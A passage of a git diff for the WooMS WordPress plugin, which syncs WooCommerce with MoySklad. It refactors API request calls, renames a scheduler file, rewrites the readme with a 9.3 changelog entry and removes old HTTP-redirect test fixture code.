', $data_updated );
+ }
+
+ do_action( 'wooms_display_product_metabox', $post->ID );
}
diff --git a/includes/ProductsImage.php b/includes/ProductsImage.php
index 17a8fd8..bf3a0cf 100644
--- a/includes/ProductsImage.php
+++ b/includes/ProductsImage.php
@@ -326,7 +326,7 @@ function add_settings()
'Замена изображении при синхронизации',
$callback = function ($args) {
$option = 'woomss_images_sync_enabled';
- $desc = 'Если включить опцию, то плагин будет загружать изображения из МойСклад.';
+ $desc = 'Если включить опцию, то плагин будет проверять и заменять изображения из МойСклад если они там обновятся.';
printf(' %s', $args['key'], $args['value'], $desc);
},
$page = 'mss-settings',
diff --git a/includes/Scheduler.php b/includes/ProductsScheduler.php
similarity index 87%
rename from includes/Scheduler.php
rename to includes/ProductsScheduler.php
index 5d7ff8d..c1150e6 100644
--- a/includes/Scheduler.php
+++ b/includes/ProductsScheduler.php
@@ -1,6 +1,6 @@
"UPDATE",
"entityType" => "customerorder",
);
- $api_result = wooms_request($url, $data);
+
+ $api_result = request('entity/webhook', $data);
$result = [
'label' => "Проверка подписки МойСклад",
@@ -93,7 +92,7 @@ public static function check_webhooks()
}
// Checking permissions too
- $data_api_p = wooms_request($employee_url, [], 'GET');
+ $data_api_p = request('context/employee', [], 'GET');
foreach ($data_api_p['permissions']['webhook'] as $permission) {
if (!$permission) {
diff --git a/includes/functions.php b/includes/functions.php
index d05a3ba..d073178 100644
--- a/includes/functions.php
+++ b/includes/functions.php
@@ -1,5 +1,7 @@
setTimezone(new \DateTimeZone(wp_timezone_string()));
return $date->format('Y-m-d H:i:s');
}
+
+
diff --git a/readme.txt b/readme.txt
index 4e0737b..99cb150 100644
--- a/readme.txt
+++ b/readme.txt
@@ -1,265 +1,270 @@
-=== WooMS ===
-Contributors: casepress
-Donate link: https://wpcraft.ru/product/wooms-extra/
-Tags: moysklad, woocommerce, sync, integration
-Requires at least: 5.0
-Tested up to: 6.1
-Requires PHP: 7.0
-License: GPLv2 or later
-License URI: http://www.gnu.org/licenses/gpl-2.0.html
-
-MoySklad (moysklad.ru) and WooCommerce - sync, integration, connection
-
-== Description ==
-
-Integration WooCommerce & MoySklad http://moysklad.ru (for Russia)
-
-Интеграция приложения МойСклад (торговля, опт, розница, склад, производство, CRM) и WooCommerce (WordPress)
-
-Особенности:
-
-* Синхронизация товаров по протоколу REST API
-* Загрузка категорий
-* Загрузка картинок
-* Простые настройки
-
-[Руководство по быстрому началу работы](https://github.com/wpcraft-ru/wooms/wiki/GettingStarted)
-
-Исходники для желающих принять участие в разработке: [https://github.com/wpcraft-ru/wooms/](https://github.com/wpcraft-ru/wooms/)
-
-По вопросам доработки: [https://github.com/wpcraft-ru/wooms/issues](https://github.com/wpcraft-ru/wooms/issues)
-
-Ссылка на релизы с описанием улучшений: [https://github.com/wpcraft-ru/wooms/releases](https://github.com/wpcraft-ru/wooms/releases)
-
-Страница плагина: [https://wpcraft.ru/wooms/](https://wpcraft.ru/wooms/)
-
-Статус задач по разработке: [https://github.com/orgs/wpcraft-ru/projects/2](roadmap)
-
-Плагин спроектирован таким образом, что относительно просто позволяет дорабатывать механику под задачи и автоматизацию конкретного магазина/каталога.
-
-== Installation ==
-
-This section describes how to install the plugin and get it working.
-
-e.g.
-
-1. Upload plugin to the `/wp-content/plugins/` directory
-1. Activate the plugin through the 'Plugins' menu in WordPress
-1. Go to Settings / MoySklad and setup
-1. Got to Tools / MoySklad and run sync
-
-== Frequently Asked Questions ==
-
-= Какие товары синхронизируются? =
-
-По умолчанию только с артикулами. Чтобы можно было синхронизировать товары МойСклад и сайта без удаления.
-Но если включить опцию UUID, то товары можно синхронизировать без артикула. В этом случае придется сначала удалить продукты с сайта.
-
-= Что нужно чтобы синхронизация заработала? =
-
-Нужно правильно указать реквизиты доступа на странице настроек плагина в панели управления сайтом. На стороне МойСклад ничего делать не нужно.
-
-= Как устроен механизм синхронизации? =
-
-Используется протокол REST API. Без протокола CommerceML. Вся логика находится на стороне сайта и сайт сам запрашиует данные из МойСклад.
-В зависимости от особенностей конфигурации сервера бот синхронизации может зависать из-за таймаутов. Для этого в плагине встроен супервайзер, который следит за ботом и пинает его в случае остановки.
-
-= Какие минимальные требования? =
-
-WordPress 5.0
-PHP 7.0
-
-
-== Screenshots ==
-
-1. Страница настроек.
-2. Страница продуктов
-3. Журнал обработки
-
-== Changelog ==
-
-= 9.2 =
-- Исправлено. Нет синхронизации остатков в автоматическом режиме https://github.com/wpcraft-ru/wooms/issues/473
-- Удаление продуктов на сайте если удален на складе https://github.com/wpcraft-ru/wooms/issues/456
-- Добавлен Хук для изменения описания категории https://github.com/wpcraft-ru/wooms/issues/463
-- Очередная проверка хостинга https://github.com/wpcraft-ru/wooms/issues/466
-- Тест совместимости WooCommerce 7.3.0
-
-= 9.1 =
-- fix. возврат опции про пропуск продуктов без артикула https://github.com/wpcraft-ru/wooms/issues/461
-- fix. из карточки товара в WP пропал блок с ссылкой на этот же товар в МС https://github.com/wpcraft-ru/wooms/issues/468
-- fix. При передачи заказа в мой склад передается только карточка клиента, а суммы заказа, наименование товара, зарезервировано - не отображается https://github.com/wpcraft-ru/wooms/issues/469
-- fix. исправлена ошибка синхронизации вариаций
-- fix. мелкие исправления и рефакторинг
-- тест WooCommerce 7.2.2
-
-= 9.0 =
-- Плагин стал бесплатным - изменения 2022 https://github.com/wpcraft-ru/wooms/wiki/2022
-- Интеграция платных опций в базовый плагин. Плагин WooMS XT более не используется и его следует отключить
-- Переработан механизм очередей на более стабильный
-- Добавленая первая версия авто тестов для будущей стабильности
-- Проверка совместимости с WordPress 6.1
-- Проверка совместимости с WooCommerce 7.1.0
-
-
-= 8.6 =
-- Проверка совместимости с WooCommerce 6.1.0
-- Проверка совместимости с WordPress 5.8.3
-
-= 8.5 =
-- Проверка совместимости с WooCommerce 5.9
-- Проверка совместимости с php 8.0
-- Исправлена ошибка деплоя WooMS на wordpress.org
-
-= 8.4 =
-- Проверка совместимости с WooCommerce 5.8
-- Исправление проблем с деплоем
-
-= 8.3 =
-- Проверка совместимости с WooCommerce 5.6
-- Исправление ошибок
-
-
-= 8.2 =
-- Проверка совместимости с WooCommerce 5.0 https://github.com/wpcraft-ru/wooms/issues/396
-- Полное и краткое описание товара https://github.com/wpcraft-ru/wooms/issues/347
-- XT: Сокрытие wooms_id из деталей Заказа видимых клиенту https://github.com/wpcraft-ru/wooms/issues/398
-- XT: Загрузка изображения у модификаций Продукта https://github.com/wpcraft-ru/wooms/issues/359
-- XT: При создании нового контрагента - нет email https://github.com/wpcraft-ru/wooms/issues/346
-
-= 8.1 =
-- Краткое описание товара вместо полного как опция https://github.com/wpcraft-ru/wooms/issues/347
-- XT: При создании нового контрагента - нет email https://github.com/wpcraft-ru/wooms/issues/346
-* Тест плагинов с новыми версиями WordPress и WooCommerce https://github.com/wpcraft-ru/wooms/issues/396
-* [XT] Публикация решения для отображения остатков со множества складов через ACF https://github.com/wpcraft-ru/wooms/issues/327
-* [XT] Публикация решения для передачи склада в заказе через методы доставки https://github.com/wpcraft-ru/wooms/issues/327
-
-= 8.0 =
-- Добавлена ссылка на услугу сопровождения магазинов
-- XT: 2х сторонняя синхронизация Заказов - Обновление позиций заказа из МойСклад https://github.com/wpcraft-ru/wooms/issues/338
-- XT: устранен ряд проблем с состоянием гонок при 2х стороннем обмене данными
-
-= 7.14 =
-- Навигация в настройках https://github.com/wpcraft-ru/wooms/issues/360
-- XT: Добавлена опция обновления клиента в МойСклад по Заказам https://github.com/wpcraft-ru/wooms/issues/361
-
-= 7.13 =
-* Исправлено. Ошибка при загрузке картинок https://github.com/wpcraft-ru/wooms/issues/348
-* Улучшение. Документация и инструкции по плагину https://github.com/wpcraft-ru/wooms/issues/325
-* Тест плагинов с новой версией WooCommerce https://github.com/wpcraft-ru/wooms/issues/351
-* [XT] Пропал метод доставки в комментах к заказу https://github.com/wpcraft-ru/wooms/issues/357
-
-= 7.12 =
-* [XT] Рефакторинг кода по отправке заказов https://github.com/wpcraft-ru/wooms/issues/342
-* [XT] Исправление проблемы с новым механизмом обновления заказов в 2 стороны https://github.com/wpcraft-ru/wooms/issues/344
-
-= 7.11 =
-* [XT] Фикс проблемы поиска по номерам заказа https://github.com/wpcraft-ru/wooms/issues/331
-* [XT] Исправление проблемы с новым механизмом обновления заказов в 2 стороны https://github.com/wpcraft-ru/wooms/issues/344
-
-= 7.10 =
-* [XT] Проработка решения для множества складов https://github.com/wpcraft-ru/wooms/issues/327
-* [XT] Синхронное присвоение номера заказа в магазине https://github.com/wpcraft-ru/wooms/issues/330
-* [XT] Исправлено. Сбрасывается заказ в "Мой склад" https://github.com/wpcraft-ru/wooms/issues/333
-* [XT] Ошибка обновления кастомных статусов https://github.com/wpcraft-ru/wooms/issues/332
-* [XT] Улучшили поиск контрагента по телефону https://github.com/wpcraft-ru/wooms/issues/326
-* [XT] Связь позиций заказа и wooms_id https://github.com/wpcraft-ru/wooms/issues/335
-* [XT] Исправление диагностики по веб хукам https://github.com/wpcraft-ru/wooms/issues/321
-
-= 7.9 =
-* Добавить опцию для ускорения синхронизации https://github.com/wpcraft-ru/wooms/issues/295
-* XT: Исправление: Заказы. Нумерация с сайта перебивает нумерацию на складе https://github.com/wpcraft-ru/wooms/issues/319
-* XT: Поиск дубля контрагента по телефону или user_id https://github.com/wpcraft-ru/wooms/issues/146
-* ЛК: Скида 50% автоматически назначается Клиентам которе покупают проделение подписки по плагину https://github.com/wpcraft-ru/wooms/issues/318
-* ЛК: Исправлена ошибка которая выдавала Клиентам доступ к новым версиям более чем на 1 год https://github.com/wpcraft-ru/wooms/issues/274
-
-= 7.8 =
-* Логгер - доп данные в JSON формате https://github.com/wpcraft-ru/wooms/issues/317
-* Использование кода в МойСклад как артикула в WooCommerce (код, code) https://github.com/wpcraft-ru/wooms/issues/98
-* XT: Учет НДС в Заказе https://github.com/wpcraft-ru/wooms/issues/173
-* XT: Работа с валютой в WooCommerce и МойСклад (USD, EUR) https://github.com/wpcraft-ru/wooms/issues/189
-* XT: Конвертер валют если цена указана в евро, долларах и рублях https://github.com/wpcraft-ru/wooms/issues/277
-* Рефакторинг, мелкие улучшения и исправления
-
-= 7.7 =
-* Добавить поддержку услуг с учетом REST API 1.2 https://github.com/wpcraft-ru/wooms/issues/314
-* Выбор всего дерева категорий у продукта https://github.com/wpcraft-ru/wooms/issues/282
-* XT Fix в версии 7.5 не работает синхранизация сетов https://github.com/wpcraft-ru/wooms/issues/313
-* XT Скрытие товаров в черновики если нет остатков - добавлен хук https://github.com/wpcraft-ru/wooms/issues/287
-* XT Заказы - опция передачи вручную, если автомат отключен https://github.com/wpcraft-ru/wooms/issues/316
-* Рефакторинг, мелкие улучшения и исправления
-
-= 7.6 =
-* Добавлена опция указания всего деревая категорий по продукту https://github.com/wpcraft-ru/wooms/issues/282
-* Исправлена проблема при которой товары иногда могли скрываться без причины https://github.com/wpcraft-ru/wooms/issues/305
-* Данные для отладки теперь сохраняются только если включена опция с журналом https://github.com/wpcraft-ru/wooms/issues/300
-* Рефакторинг, мелкие улучшения и исправления
-
-= 7.5 =
-* Анимация синхронизации https://github.com/wpcraft-ru/wooms/issues/306
-* Мелкие улучшения и исправления
-* XT Улучшен лог данных. Товары в наличии пропадают в каталоге https://github.com/wpcraft-ru/wooms/issues/302
-* XT Исправлено - Заказы передаются с отключенной опцией https://github.com/wpcraft-ru/wooms/issues/309
-* XT Рефакторинг опции выбора склада https://github.com/wpcraft-ru/wooms/issues/308
-
-= 7.4 =
-* XT: Исправили проблему с сохранением цен распродажи
-* Рефакторинг кода и мелкие улучшения
-
-= 7.3 =
-* Fix: Проблема с работой базового плагина в отрыве от расширения https://github.com/wpcraft-ru/wooms/issues/298
-* Fix: Не передаются доп атрибуты типа text https://github.com/wpcraft-ru/wooms/issues/299
-
-= 7.2 =
-* Внимание! Большая часть обработчиков переведена на версию 1.2 REST API MoySklad и обновляться нужно осторожно и только обе версии сразу иначе могут быть проблемы https://github.com/wpcraft-ru/wooms/issues/296
-* Изображения продукта для вариаций https://github.com/wpcraft-ru/wooms/issues/192
-* Выбор нескольких групп для синхронизации https://github.com/wpcraft-ru/wooms/issues/297
-* Кастомные статусы Заказов плохо передаются https://github.com/wpcraft-ru/wooms/issues/292
-* Добавлена механика проверки данных по заказам отправленных в МойСклад https://github.com/wpcraft-ru/wooms/issues/290
-* Разницы во времени создания заказа при синхронизации магазина и моего склада https://github.com/wpcraft-ru/wooms/issues/285
-* Опция "Отправлять выбранный склад в Заказе" - улучшить инструкцию https://github.com/wpcraft-ru/wooms/issues/284
-* Синхронизация заказов при каждом сохранении без опции https://github.com/wpcraft-ru/wooms/issues/289
-
-= 7.1 =
-* Импорт услуг - первая версия https://github.com/wpcraft-ru/wooms/issues/60
-* Доступ к принудительной синхронизации для менеджеров https://github.com/wpcraft-ru/wooms/issues/280
-* Если ошибка передачи Заказа - сброс очереди https://github.com/wpcraft-ru/wooms/issues/191
-* Мелкие улучшения и исправления
-
-= 7.0 =
-* глобальный рефакторинг, много улучшений
-* обновляться стоит осторожно и сразу обе версии плагина (базовую и XT)
-* дубль информации во вкладе Здоровье Сайта > Информация - чтобы пользователь мог скопировать 1 кнопкой информацию и отправить в поддержку https://github.com/wpcraft-ru/wooms/issues/254
-* в здоровье сайта проверка на наличие платного тарифа МойСклад https://github.com/wpcraft-ru/wooms/issues/252
-* улучшения механизмов диагностики проблем https://github.com/wpcraft-ru/wooms/issues/264
-* диагностика проблем - добавлена ссылка https://github.com/wpcraft-ru/wooms/issues/260
-* рефакторинг механизма скрытия продутов - выше надежность, меньше ошибок
-* оптимизация главного обработчика продуктов
-* оптимизация обработчика картинок по продуктам
-* XT: синк комплектов (сгруппированных продуктов) - рефакторинг, исправление ошибок https://github.com/wpcraft-ru/wooms/issues/256
-
-= 6.3 =
-* XT исправление проблемы с множеством вебхуков и статусами Заказов https://github.com/wpcraft-ru/wooms/issues/246
-* обновлены данные в readme.txt
-* обновление скриншотов
-
-= 6.2 =
-* улучшена работа плановых заданий
-* тест WooCommerce 4.0 https://github.com/wpcraft-ru/wooms/issues/242
-* XT исправлена ошибка по неправильной стоимости доставки https://github.com/wpcraft-ru/wooms/issues/244
-
-= 6.1 =
-* исправлена ошибка по дублированию картинок https://github.com/wpcraft-ru/wooms/issues/221
-* добавлен вывод ошибок в новой странице Инструменты->Здоровье сайта ( проверка и вывод всех возможных ошибок )
-* перенесено большинство крон задач на Action Sheduler
-* в качестве эксперимента реализована поддержка Action Sheduler в части синка галлереи (сильно упрощает понимние истории синхронизации и диагностику ошибок) https://github.com/wpcraft-ru/wooms/issues/212
-* добавлен вывод ошибок 'не правильный пароль' в раздел Здоровье Cайта https://github.com/wpcraft-ru/wooms/issues/216
-* добавлен вывод ошибок при разных версиях базого и XT в раздел Здоровье Cайта https://github.com/wpcraft-ru/wooms/issues/216
-
-= 6.0 =
-* добавлена поддержка галлереи изображений продукта https://github.com/wpcraft-ru/wooms/issues/27
-* XT улучшена работа обновления статусов из Сайта на Склад - удалено накопление очереди без активной опции
-* XT улучшен лог передачи данных по юр лицам
-
-= < 6.0 =
-* More https://github.com/wpcraft-ru/wooms/releases
+=== WooMS ===
+Contributors: casepress
+Donate link: https://wpcraft.ru/product/wooms-extra/
+Tags: moysklad, woocommerce, sync, integration
+Requires at least: 5.0
+Tested up to: 6.1
+Requires PHP: 7.0
+License: GPLv2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
+
+MoySklad (moysklad.ru) and WooCommerce - sync, integration, connection
+
+== Description ==
+
+Integration WooCommerce & MoySklad http://moysklad.ru (for Russia)
+
+Интеграция приложения МойСклад (торговля, опт, розница, склад, производство, CRM) и WooCommerce (WordPress)
+
+Особенности:
+
+* Синхронизация товаров по протоколу REST API
+* Загрузка категорий
+* Загрузка картинок
+* Простые настройки
+
+[Руководство по быстрому началу работы](https://github.com/wpcraft-ru/wooms/wiki/GettingStarted)
+
+Исходники для желающих принять участие в разработке: [https://github.com/wpcraft-ru/wooms/](https://github.com/wpcraft-ru/wooms/)
+
+По вопросам доработки: [https://github.com/wpcraft-ru/wooms/issues](https://github.com/wpcraft-ru/wooms/issues)
+
+Ссылка на релизы с описанием улучшений: [https://github.com/wpcraft-ru/wooms/releases](https://github.com/wpcraft-ru/wooms/releases)
+
+Страница плагина: [https://wpcraft.ru/wooms/](https://wpcraft.ru/wooms/)
+
+Статус задач по разработке: [https://github.com/orgs/wpcraft-ru/projects/2](roadmap)
+
+Плагин спроектирован таким образом, что относительно просто позволяет дорабатывать механику под задачи и автоматизацию конкретного магазина/каталога.
+
+== Installation ==
+
+This section describes how to install the plugin and get it working.
+
+e.g.
+
+1. Upload plugin to the `/wp-content/plugins/` directory
+1. Activate the plugin through the 'Plugins' menu in WordPress
+1. Go to Settings / MoySklad and setup
+1. Got to Tools / MoySklad and run sync
+
+== Frequently Asked Questions ==
+
+= Какие товары синхронизируются? =
+
+По умолчанию только с артикулами. Чтобы можно было синхронизировать товары МойСклад и сайта без удаления.
+Но если включить опцию UUID, то товары можно синхронизировать без артикула. В этом случае придется сначала удалить продукты с сайта.
+
+= Что нужно чтобы синхронизация заработала? =
+
+Нужно правильно указать реквизиты доступа на странице настроек плагина в панели управления сайтом. На стороне МойСклад ничего делать не нужно.
+
+= Как устроен механизм синхронизации? =
+
+Используется протокол REST API. Без протокола CommerceML. Вся логика находится на стороне сайта и сайт сам запрашиует данные из МойСклад.
+В зависимости от особенностей конфигурации сервера бот синхронизации может зависать из-за таймаутов. Для этого в плагине встроен супервайзер, который следит за ботом и пинает его в случае остановки.
+
+= Какие минимальные требования? =
+
+WordPress 5.0
+PHP 7.0
+
+
+== Screenshots ==
+
+1. Страница настроек.
+2. Страница продуктов
+3. Журнал обработки
+
+== Changelog ==
+
+= 9.3 =
+- Тест совместимости WooCommerce 8.2.0
+- Реализация новой версии REST API MoySklad (пока частично)
+- Актуальные ссылки на услуги
+
+= 9.2 =
+- Исправлено. Нет синхронизации остатков в автоматическом режиме https://github.com/wpcraft-ru/wooms/issues/473
+- Удаление продуктов на сайте если удален на складе https://github.com/wpcraft-ru/wooms/issues/456
+- Добавлен Хук для изменения описания категории https://github.com/wpcraft-ru/wooms/issues/463
+- Очередная проверка хостинга https://github.com/wpcraft-ru/wooms/issues/466
+- Тест совместимости WooCommerce 7.3.0
+
+= 9.1 =
+- fix. возврат опции про пропуск продуктов без артикула https://github.com/wpcraft-ru/wooms/issues/461
+- fix. из карточки товара в WP пропал блок с ссылкой на этот же товар в МС https://github.com/wpcraft-ru/wooms/issues/468
+- fix. При передачи заказа в мой склад передается только карточка клиента, а суммы заказа, наименование товара, зарезервировано - не отображается https://github.com/wpcraft-ru/wooms/issues/469
+- fix. исправлена ошибка синхронизации вариаций
+- fix. мелкие исправления и рефакторинг
+- тест WooCommerce 7.2.2
+
+= 9.0 =
+- Плагин стал бесплатным - изменения 2022 https://github.com/wpcraft-ru/wooms/wiki/2022
+- Интеграция платных опций в базовый плагин. Плагин WooMS XT более не используется и его следует отключить
+- Переработан механизм очередей на более стабильный
+- Добавленая первая версия авто тестов для будущей стабильности
+- Проверка совместимости с WordPress 6.1
+- Проверка совместимости с WooCommerce 7.1.0
+
+
+= 8.6 =
+- Проверка совместимости с WooCommerce 6.1.0
+- Проверка совместимости с WordPress 5.8.3
+
+= 8.5 =
+- Проверка совместимости с WooCommerce 5.9
+- Проверка совместимости с php 8.0
+- Исправлена ошибка деплоя WooMS на wordpress.org
+
+= 8.4 =
+- Проверка совместимости с WooCommerce 5.8
+- Исправление проблем с деплоем
+
+= 8.3 =
+- Проверка совместимости с WooCommerce 5.6
+- Исправление ошибок
+
+
+= 8.2 =
+- Проверка совместимости с WooCommerce 5.0 https://github.com/wpcraft-ru/wooms/issues/396
+- Полное и краткое описание товара https://github.com/wpcraft-ru/wooms/issues/347
+- XT: Сокрытие wooms_id из деталей Заказа видимых клиенту https://github.com/wpcraft-ru/wooms/issues/398
+- XT: Загрузка изображения у модификаций Продукта https://github.com/wpcraft-ru/wooms/issues/359
+- XT: При создании нового контрагента - нет email https://github.com/wpcraft-ru/wooms/issues/346
+
+= 8.1 =
+- Краткое описание товара вместо полного как опция https://github.com/wpcraft-ru/wooms/issues/347
+- XT: При создании нового контрагента - нет email https://github.com/wpcraft-ru/wooms/issues/346
+* Тест плагинов с новыми версиями WordPress и WooCommerce https://github.com/wpcraft-ru/wooms/issues/396
+* [XT] Публикация решения для отображения остатков со множества складов через ACF https://github.com/wpcraft-ru/wooms/issues/327
+* [XT] Публикация решения для передачи склада в заказе через методы доставки https://github.com/wpcraft-ru/wooms/issues/327
+
+= 8.0 =
+- Добавлена ссылка на услугу сопровождения магазинов
+- XT: 2х сторонняя синхронизация Заказов - Обновление позиций заказа из МойСклад https://github.com/wpcraft-ru/wooms/issues/338
+- XT: устранен ряд проблем с состоянием гонок при 2х стороннем обмене данными
+
+= 7.14 =
+- Навигация в настройках https://github.com/wpcraft-ru/wooms/issues/360
+- XT: Добавлена опция обновления клиента в МойСклад по Заказам https://github.com/wpcraft-ru/wooms/issues/361
+
+= 7.13 =
+* Исправлено. Ошибка при загрузке картинок https://github.com/wpcraft-ru/wooms/issues/348
+* Улучшение. Документация и инструкции по плагину https://github.com/wpcraft-ru/wooms/issues/325
+* Тест плагинов с новой версией WooCommerce https://github.com/wpcraft-ru/wooms/issues/351
+* [XT] Пропал метод доставки в комментах к заказу https://github.com/wpcraft-ru/wooms/issues/357
+
+= 7.12 =
+* [XT] Рефакторинг кода по отправке заказов https://github.com/wpcraft-ru/wooms/issues/342
+* [XT] Исправление проблемы с новым механизмом обновления заказов в 2 стороны https://github.com/wpcraft-ru/wooms/issues/344
+
+= 7.11 =
+* [XT] Фикс проблемы поиска по номерам заказа https://github.com/wpcraft-ru/wooms/issues/331
+* [XT] Исправление проблемы с новым механизмом обновления заказов в 2 стороны https://github.com/wpcraft-ru/wooms/issues/344
+
+= 7.10 =
+* [XT] Проработка решения для множества складов https://github.com/wpcraft-ru/wooms/issues/327
+* [XT] Синхронное присвоение номера заказа в магазине https://github.com/wpcraft-ru/wooms/issues/330
+* [XT] Исправлено. Сбрасывается заказ в "Мой склад" https://github.com/wpcraft-ru/wooms/issues/333
+* [XT] Ошибка обновления кастомных статусов https://github.com/wpcraft-ru/wooms/issues/332
+* [XT] Улучшили поиск контрагента по телефону https://github.com/wpcraft-ru/wooms/issues/326
+* [XT] Связь позиций заказа и wooms_id https://github.com/wpcraft-ru/wooms/issues/335
+* [XT] Исправление диагностики по веб хукам https://github.com/wpcraft-ru/wooms/issues/321
+
+= 7.9 =
+* Добавить опцию для ускорения синхронизации https://github.com/wpcraft-ru/wooms/issues/295
+* XT: Исправление: Заказы. Нумерация с сайта перебивает нумерацию на складе https://github.com/wpcraft-ru/wooms/issues/319
+* XT: Поиск дубля контрагента по телефону или user_id https://github.com/wpcraft-ru/wooms/issues/146
+* ЛК: Скида 50% автоматически назначается Клиентам которе покупают проделение подписки по плагину https://github.com/wpcraft-ru/wooms/issues/318
+* ЛК: Исправлена ошибка которая выдавала Клиентам доступ к новым версиям более чем на 1 год https://github.com/wpcraft-ru/wooms/issues/274
+
+= 7.8 =
+* Логгер - доп данные в JSON формате https://github.com/wpcraft-ru/wooms/issues/317
+* Использование кода в МойСклад как артикула в WooCommerce (код, code) https://github.com/wpcraft-ru/wooms/issues/98
+* XT: Учет НДС в Заказе https://github.com/wpcraft-ru/wooms/issues/173
+* XT: Работа с валютой в WooCommerce и МойСклад (USD, EUR) https://github.com/wpcraft-ru/wooms/issues/189
+* XT: Конвертер валют если цена указана в евро, долларах и рублях https://github.com/wpcraft-ru/wooms/issues/277
+* Рефакторинг, мелкие улучшения и исправления
+
+= 7.7 =
+* Добавить поддержку услуг с учетом REST API 1.2 https://github.com/wpcraft-ru/wooms/issues/314
+* Выбор всего дерева категорий у продукта https://github.com/wpcraft-ru/wooms/issues/282
+* XT Fix в версии 7.5 не работает синхранизация сетов https://github.com/wpcraft-ru/wooms/issues/313
+* XT Скрытие товаров в черновики если нет остатков - добавлен хук https://github.com/wpcraft-ru/wooms/issues/287
+* XT Заказы - опция передачи вручную, если автомат отключен https://github.com/wpcraft-ru/wooms/issues/316
+* Рефакторинг, мелкие улучшения и исправления
+
+= 7.6 =
+* Добавлена опция указания всего деревая категорий по продукту https://github.com/wpcraft-ru/wooms/issues/282
+* Исправлена проблема при которой товары иногда могли скрываться без причины https://github.com/wpcraft-ru/wooms/issues/305
+* Данные для отладки теперь сохраняются только если включена опция с журналом https://github.com/wpcraft-ru/wooms/issues/300
+* Рефакторинг, мелкие улучшения и исправления
+
+= 7.5 =
+* Анимация синхронизации https://github.com/wpcraft-ru/wooms/issues/306
+* Мелкие улучшения и исправления
+* XT Улучшен лог данных. Товары в наличии пропадают в каталоге https://github.com/wpcraft-ru/wooms/issues/302
+* XT Исправлено - Заказы передаются с отключенной опцией https://github.com/wpcraft-ru/wooms/issues/309
+* XT Рефакторинг опции выбора склада https://github.com/wpcraft-ru/wooms/issues/308
+
+= 7.4 =
+* XT: Исправили проблему с сохранением цен распродажи
+* Рефакторинг кода и мелкие улучшения
+
+= 7.3 =
+* Fix: Проблема с работой базового плагина в отрыве от расширения https://github.com/wpcraft-ru/wooms/issues/298
+* Fix: Не передаются доп атрибуты типа text https://github.com/wpcraft-ru/wooms/issues/299
+
+= 7.2 =
+* Внимание! Большая часть обработчиков переведена на версию 1.2 REST API MoySklad и обновляться нужно осторожно и только обе версии сразу иначе могут быть проблемы https://github.com/wpcraft-ru/wooms/issues/296
+* Изображения продукта для вариаций https://github.com/wpcraft-ru/wooms/issues/192
+* Выбор нескольких групп для синхронизации https://github.com/wpcraft-ru/wooms/issues/297
+* Кастомные статусы Заказов плохо передаются https://github.com/wpcraft-ru/wooms/issues/292
+* Добавлена механика проверки данных по заказам отправленных в МойСклад https://github.com/wpcraft-ru/wooms/issues/290
+* Разницы во времени создания заказа при синхронизации магазина и моего склада https://github.com/wpcraft-ru/wooms/issues/285
+* Опция "Отправлять выбранный склад в Заказе" - улучшить инструкцию https://github.com/wpcraft-ru/wooms/issues/284
+* Синхронизация заказов при каждом сохранении без опции https://github.com/wpcraft-ru/wooms/issues/289
+
+= 7.1 =
+* Импорт услуг - первая версия https://github.com/wpcraft-ru/wooms/issues/60
+* Доступ к принудительной синхронизации для менеджеров https://github.com/wpcraft-ru/wooms/issues/280
+* Если ошибка передачи Заказа - сброс очереди https://github.com/wpcraft-ru/wooms/issues/191
+* Мелкие улучшения и исправления
+
+= 7.0 =
+* глобальный рефакторинг, много улучшений
+* обновляться стоит осторожно и сразу обе версии плагина (базовую и XT)
+* дубль информации во вкладе Здоровье Сайта > Информация - чтобы пользователь мог скопировать 1 кнопкой информацию и отправить в поддержку https://github.com/wpcraft-ru/wooms/issues/254
+* в здоровье сайта проверка на наличие платного тарифа МойСклад https://github.com/wpcraft-ru/wooms/issues/252
+* улучшения механизмов диагностики проблем https://github.com/wpcraft-ru/wooms/issues/264
+* диагностика проблем - добавлена ссылка https://github.com/wpcraft-ru/wooms/issues/260
+* рефакторинг механизма скрытия продутов - выше надежность, меньше ошибок
+* оптимизация главного обработчика продуктов
+* оптимизация обработчика картинок по продуктам
+* XT: синк комплектов (сгруппированных продуктов) - рефакторинг, исправление ошибок https://github.com/wpcraft-ru/wooms/issues/256
+
+= 6.3 =
+* XT исправление проблемы с множеством вебхуков и статусами Заказов https://github.com/wpcraft-ru/wooms/issues/246
+* обновлены данные в readme.txt
+* обновление скриншотов
+
+= 6.2 =
+* улучшена работа плановых заданий
+* тест WooCommerce 4.0 https://github.com/wpcraft-ru/wooms/issues/242
+* XT исправлена ошибка по неправильной стоимости доставки https://github.com/wpcraft-ru/wooms/issues/244
+
+= 6.1 =
+* исправлена ошибка по дублированию картинок https://github.com/wpcraft-ru/wooms/issues/221
+* добавлен вывод ошибок в новой странице Инструменты->Здоровье сайта ( проверка и вывод всех возможных ошибок )
+* перенесено большинство крон задач на Action Sheduler
+* в качестве эксперимента реализована поддержка Action Sheduler в части синка галлереи (сильно упрощает понимние истории синхронизации и диагностику ошибок) https://github.com/wpcraft-ru/wooms/issues/212
+* добавлен вывод ошибок 'не правильный пароль' в раздел Здоровье Cайта https://github.com/wpcraft-ru/wooms/issues/216
+* добавлен вывод ошибок при разных версиях базого и XT в раздел Здоровье Cайта https://github.com/wpcraft-ru/wooms/issues/216
+
+= 6.0 =
+* добавлена поддержка галлереи изображений продукта https://github.com/wpcraft-ru/wooms/issues/27
+* XT улучшена работа обновления статусов из Сайта на Склад - удалено накопление очереди без активной опции
+* XT улучшен лог передачи данных по юр лицам
+
+= < 6.0 =
+* More https://github.com/wpcraft-ru/wooms/releases
diff --git a/tests/bootstrap.php b/tests/bootstrap.php
index 58d3d10..3414ba6 100644
--- a/tests/bootstrap.php
+++ b/tests/bootstrap.php
@@ -1,37 +1,11 @@
$value ) {
- if ( stripos($key, 'http') === 0 ) {
- $key = strtolower(substr($key, 5));
- echo "$key:$value\n";
- }
- }
- exit;
-}
-if ( isset($_GET['multiple-headers']) ) {
- header("HeaderName: One", false);
- header("HeaderName: Two", false);
- header("HeaderName: Three", false);
- exit;
-}
-
-if ( isset( $_GET['post-redirect-to-method'] ) ) {
- $method = $_SERVER['REQUEST_METHOD'];
- $response_code = isset( $_GET['response_code'] ) ? $_GET['response_code'] : 301;
-
- if ( 'POST' == $method && ! isset( $_GET['redirection-performed'] ) ) {
- header( "Location: $url?post-redirect-to-method=1&redirection-performed=1", true, $response_code );
- exit;
- }
-
- echo $method;
- exit;
-
-}
-
-if ( isset( $_GET['location-with-200'] ) ) {
- if ( ! isset( $_GET['redirection-performed'] ) ) {
